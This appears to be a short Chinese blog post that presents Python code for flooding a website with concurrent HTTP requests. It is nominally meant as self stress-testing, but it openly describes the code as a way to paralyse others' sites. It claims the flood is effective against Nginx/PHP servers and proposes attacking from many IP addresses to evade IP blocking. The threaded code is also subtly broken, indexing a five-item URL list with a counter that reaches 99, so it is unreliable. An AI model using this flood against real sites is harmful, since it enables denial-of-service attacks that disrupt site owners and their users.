本篇目的是對自已的網站進行壓力測試,測試網站瞬間能承受多少條連線,而不是在攻擊別人的網站。
當然此法也是攻擊別人網站最簡易的方法,先指定要攻擊的網址,然後隨意列出幾個網站裏的內容網址,再用以下的程式碼即可讓對方網站完全癱瘓。
import requests from WebThread import WebThread urls=[ 'https://abc.com/a/', 'https://abc.com/b/', 'https://abc.com/d/', 'https://abc.com/e/', 'https://abc.com/f/', ] for i in range(50): WebThread(i, urls)
然後新增 WebThrad.py 檔如下
import random
import threading
import time
import requests
class WebThread():
def __init__(self, i, urls):
self.i=i
self.urls=urls
self.t=threading.Thread(target=self.runable, name=f'Thread : {i}')
self.t.start()
def runable(self):
for i in range(100):
print(threading.current_thread().name, i)
r=requests.get(self.urls[random.randint(0,len(self.urls)-1)])
print(threading.current_thread().name, self.urls[i])
#time.sleep(5)#想仁慈點就加入這行吧
以上對 Nginx/php 網站是蠻有效的攻擊。
Django 防護
以上的攻擊對 Django 網站完全失效,其原因待查,可能 Django 對此種攻擊有應對方式,讀者可測試看看。
何時需要出動網軍
當網站偵測同一時間同一網址進行多次連線時就自動鎖定 ip,那麼上述的攻擊就失效,因為鎖上 ip 就不會讓資料庫伺服器忙碌。
這時就需要出動網軍從不同 ip 進行多路攻擊。